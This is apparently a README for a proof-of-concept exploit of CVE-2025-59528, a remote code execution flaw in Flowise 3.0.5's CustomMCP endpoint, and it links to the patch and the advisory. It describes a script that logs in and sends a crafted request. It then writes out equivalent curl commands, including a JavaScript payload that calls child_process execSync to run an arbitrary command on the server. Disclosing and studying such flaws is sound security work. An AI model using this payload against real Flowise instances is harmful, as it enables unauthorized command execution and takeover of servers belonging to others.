CVE-2025-59528 PoC

Python proof-of-concept script for triggering the Flowise CustomMCP RCE path via POST /api/v1/node-load-method/customMCP.

⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal.

Credit

• im-soohyun (Kim SooHyun)

Details

• PoC for CVE-2025-59528
• Affected version: Flowise 3.0.5
• Patched version: Flowise 3.0.6
• Reference: https://github.com/advisories/GHSA-3gcm-f6qx-ff7p

Files

• poc.py: prompts for machine URL/IP, optional protocol when bare host/IP used, email, password, and command; logs in, reuses cookies, then sends a crafted CustomMCP request and prints HTTP status, headers, and response body similar to curl -i

Usage

Run:

python3 poc.py

Then provide:

• machine URL/IP, like 10.10.11.10, http://10.10.11.10, or https://target.example
• protocol if prompted for bare host/IP
• email address
• password for an account on the target Flowise instance
• command to execute on the server

Equivalent curl

1st Request

curl -i -X POST https://<MACHINE_URL/IP>/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"<[email protected]>","password":"<password>"}'

2nd Request

curl -i -X POST https://<target>/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -H "Cookie: token=<token>; refreshToken=<refreshToken>; connect.sid=<connect.sid>" \
  -d '{
        "loadMethod":"listActions",
        "inputs":{
          "mcpServerConfig":"({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"<command>\");return 1;})()})"
        }
      }'